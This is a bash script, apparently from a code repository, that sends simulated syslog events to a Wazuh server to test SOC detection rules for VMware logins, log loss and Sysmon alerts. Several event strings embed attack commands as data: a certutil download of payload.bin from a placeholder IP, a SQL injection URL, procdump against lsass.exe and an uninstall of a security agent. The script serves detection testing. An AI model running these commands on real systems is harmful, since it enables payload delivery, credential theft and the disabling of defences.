暂无描述

send-wazuh-proposal-appendix-b-events.sh 6.1KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216
  1. #!/usr/bin/env bash
  2. set -euo pipefail
  3. # Usage:
  4. # scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds]
  5. #
  6. # selector:
  7. # all | b1 | b2 | b3 | <usecase_id>
  8. # example usecase_id: B1-01, B2-01, B3-06
  9. SELECTOR="${1:-all}"
  10. COUNT="${2:-1}"
  11. DELAY="${3:-0.3}"
  12. EVENT_DELAY="${EVENT_DELAY:-0.05}"
  13. DRY_RUN="${DRY_RUN:-0}"
  14. FOREVER="false"
  15. for arg in "${@:4}"; do
  16. case "${arg}" in
  17. --forever)
  18. FOREVER="true"
  19. ;;
  20. *)
  21. echo "error: unexpected argument '${arg}'"
  22. echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever]"
  23. exit 1
  24. ;;
  25. esac
  26. done
  27. WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
  28. WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
  29. VCENTER_HOST="${VCENTER_HOST:-vcenter-01}"
  30. ESXI_HOST="${ESXI_HOST:-esxi-01}"
  31. LOGMON_HOST="${LOGMON_HOST:-logmon-01}"
  32. WIN_SYSMON_HOST="${WIN_SYSMON_HOST:-win-sysmon-01}"
  33. SIM_USER="${SIM_USER:-jane.doe}"
  34. if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
  35. echo "error: count must be a positive integer"
  36. exit 1
  37. fi
  38. if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
  39. echo "error: delay must be numeric"
  40. exit 1
  41. fi
  42. if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
  43. echo "error: EVENT_DELAY must be numeric"
  44. exit 1
  45. fi
  46. rand_public_ip() {
  47. if [[ $((RANDOM % 2)) -eq 0 ]]; then
  48. echo "198.51.100.$((RANDOM % 240 + 10))"
  49. else
  50. echo "203.0.113.$((RANDOM % 240 + 10))"
  51. fi
  52. }
  53. emit_syslog() {
  54. local msg="$1"
  55. local sent="false"
  56. if [[ "${DRY_RUN}" == "1" ]]; then
  57. echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
  58. return 0
  59. fi
  60. if command -v nc >/dev/null 2>&1; then
  61. if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
  62. sent="true"
  63. fi
  64. fi
  65. if [[ "${sent}" != "true" ]]; then
  66. if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
  67. sent="true"
  68. fi
  69. fi
  70. if [[ "${sent}" != "true" ]]; then
  71. echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
  72. return 1
  73. fi
  74. echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
  75. }
  76. selector_matches() {
  77. local id="$1"
  78. local section="$2"
  79. local sel
  80. sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
  81. local idl
  82. idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
  83. local sec
  84. sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"
  85. [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
  86. }
  87. emit_b_usecase() {
  88. local id="$1"
  89. local section="$2"
  90. local severity="$3"
  91. local source="$4"
  92. local host="$5"
  93. local usecase="$6"
  94. local body="$7"
  95. selector_matches "${id}" "${section}" || return 0
  96. emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
  97. sleep "${EVENT_DELAY}"
  98. }
  99. emit_b1() {
  100. local sip
  101. sip="$(rand_public_ip)"
  102. emit_b_usecase "B1-01" "B1" "high" "vmware" "${VCENTER_HOST}" \
  103. "vCenter GUI Login Failed 5 Times and Success 1 Time" \
  104. "event_type=vmware_vcenter_login_fail_success login_fail_count=5 login_success_count=1 user=\"${SIM_USER}\" src_ip=${sip}"
  105. emit_b_usecase "B1-02" "B1" "medium" "vmware" "${ESXI_HOST}" \
  106. "ESXi Enable SSH on Hosts" \
  107. "event_type=vmware_esxi_enable_ssh action=enable service=ssh user=\"root\" host=\"${ESXI_HOST}\""
  108. emit_b_usecase "B1-03" "B1" "high" "vmware" "${ESXI_HOST}" \
  109. "ESXi SSH Failed 5 Times and Success 1 Time" \
  110. "event_type=vmware_esxi_ssh_fail_success ssh_fail_count=5 ssh_success_count=1 user=\"root\" src_ip=${sip}"
  111. }
  112. emit_b2() {
  113. emit_b_usecase "B2-01" "B2" "low" "log_monitor" "${LOGMON_HOST}" \
  114. "Log Monitor Logs Loss Detection" \
  115. "event_type=log_loss_detection missing_stream=firewall expected_eps=500 observed_eps=0 duration_seconds=180"
  116. }
  117. emit_b3() {
  118. emit_b_usecase "B3-01" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  119. "Sysmon LSASS Dumping" \
  120. "event_type=sysmon_lsass_dump event_id=10 process=procdump.exe target_process=lsass.exe user=\"${SIM_USER}\""
  121. emit_b_usecase "B3-02" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  122. "Sysmon SQL Injection" \
  123. "event_type=sysmon_sql_injection event_id=1 process=w3wp.exe url=\"/app/login.php?id=1%27%20OR%201=1--\""
  124. emit_b_usecase "B3-03" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  125. "Sysmon Webshell" \
  126. "event_type=sysmon_webshell event_id=11 file=\"C:\\\\inetpub\\\\wwwroot\\\\shell.aspx\" process=w3wp.exe"
  127. emit_b_usecase "B3-04" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  128. "Sysmon Uninstall" \
  129. "event_type=sysmon_security_agent_uninstall event_id=1 process=msiexec.exe cmdline=\"msiexec /x security-agent\" user=\"${SIM_USER}\""
  130. emit_b_usecase "B3-05" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  131. "Sysmon LSASS Dumping by Task Manager" \
  132. "event_type=sysmon_lsass_dump_taskmgr event_id=10 process=taskmgr.exe target_process=lsass.exe action=create_dump"
  133. emit_b_usecase "B3-06" "B3" "medium" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  134. "Sysmon CertUtil Download" \
  135. "event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\""
  136. }
  137. emit_selected_set() {
  138. local sel
  139. sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
  140. case "${sel}" in
  141. all)
  142. emit_b1
  143. emit_b2
  144. emit_b3
  145. ;;
  146. b1|b1-*)
  147. emit_b1
  148. ;;
  149. b2|b2-*)
  150. emit_b2
  151. ;;
  152. b3|b3-*)
  153. emit_b3
  154. ;;
  155. *)
  156. emit_b1
  157. emit_b2
  158. emit_b3
  159. ;;
  160. esac
  161. }
  162. echo "starting proposal Appendix B log simulator"
  163. echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
  164. echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
  165. if [[ "${FOREVER}" == "true" ]]; then
  166. echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
  167. trap 'echo; echo "stopped"; exit 0' INT TERM
  168. while true; do
  169. emit_selected_set
  170. sleep "${DELAY}"
  171. done
  172. else
  173. for ((i=1; i<=COUNT; i++)); do
  174. emit_selected_set
  175. if [[ "${i}" -lt "${COUNT}" ]]; then
  176. sleep "${DELAY}"
  177. fi
  178. done
  179. echo "done"
  180. fi